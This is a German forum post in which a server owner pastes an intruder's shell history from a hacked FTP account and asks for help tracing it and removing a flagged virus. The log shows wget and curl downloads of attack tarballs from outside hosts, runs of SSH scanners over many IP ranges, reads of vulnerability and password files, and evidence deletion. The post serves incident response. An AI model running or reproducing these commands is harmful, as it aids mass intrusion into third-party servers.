server gehackt

[LouCypher]

hab hier einen linux server bei dem ein ftp zugang gehackt wurde in der .bash_history im home verzeichnis des ftp users fand ich nun folgende commands:

w
passwd
uname -a
exit
/sbin/ifconfig -a
screen -x
ps x
cd /tmp
ls -a
w
last
ps x
ls a
ls -a
cd .webmin/
ls -a
cd ..
cd "_"
cd "_ "
cd "_ "
ls -all
cd " _ "
ls -a
cd .x
cd whiper/
ls -a
cat vuln.txt
cat pass_file
ls -a
cat scan
ls -a
cd .
ls -a
cd ..
ls -a
exit
w
cat /usr/include/gpm2.h
/sbin/ifconfig -a
cd /var/tmp
wget http://octav.netfast.org/w.tgz
curl -O http://octav.netfast.org/w.tgz
wget http://octav.netfast.org/w.tgz
ls
php -v
php -v
uname -a
w
cat /proc/cpuinfo
cd /tmp
wget patra.xhost.ro/prost.tgz
tar xvf prost.tgz
rm -rf prost.tgz
cd sshscan
./start 213.129
cd ..
rm -rf sshscan
wget ciobex.xhost.ro/scani.tgz
tar xzvf scani.tgz
tar xvf scani.tgz
rm -rf scani.tgz
cd rai
ls
./start 213.129
./start 216.32; ./start 216.39
./start 200.55
+
./start 213.212
./start 212.8
./start 217.112
cd /tmp
ls
cd rai
./start 193.3
./start 193.1
./start 193.4
./start 193.5
./start 193.7
./start 193.8
./start 193.10
./start 193.15; ./start 212.41; ./start 212.42; ./start 212.43; ./start 212.44; ./start 212.45; ./start 212.46; ./start 212.47
./start 212.56; ./start 212.57; ./start 212.58; ./start 212.59; ./start 212.60
.
.
a
w
./start 212.61; ./start 212.62; ./start 212.63; ./start 212.64; ./start 212.65; ./start 212.66; .,/start 212.67; ./start 212.68; ./start 212.69; ./start 212.70; ./start 212.71; ./start 212.72; ./start 212.73
+
./start 212.75; ./start 212.76; ./start 212.77
rm -rf vuln.txt
./start 212.81; ./start 212.82; ./start 212.83
./start 212.84; ./start 212.85; ./start 212.86
cd /tmp
ls
cd rai
ls
rm -rf vuln.txt
ls
./start 212.85

als linux noob kann ich damit nicht viel anfangen, aber ich geh mal davon aus das dies die letzten eingaben des eindringlings waren. Kann mir jemand sagen ob da irgendwas drinsteht das man nachverfolgen sollte? Offensichtlich wurde da ein virus installiert kann mir wer dazu sagen, eventuell auch wie ich ihn entfernen? Angeblich handelt es sich um den Linux.RST.B-1 virus (meint mein copfilter) aber zu dem find ich nichts.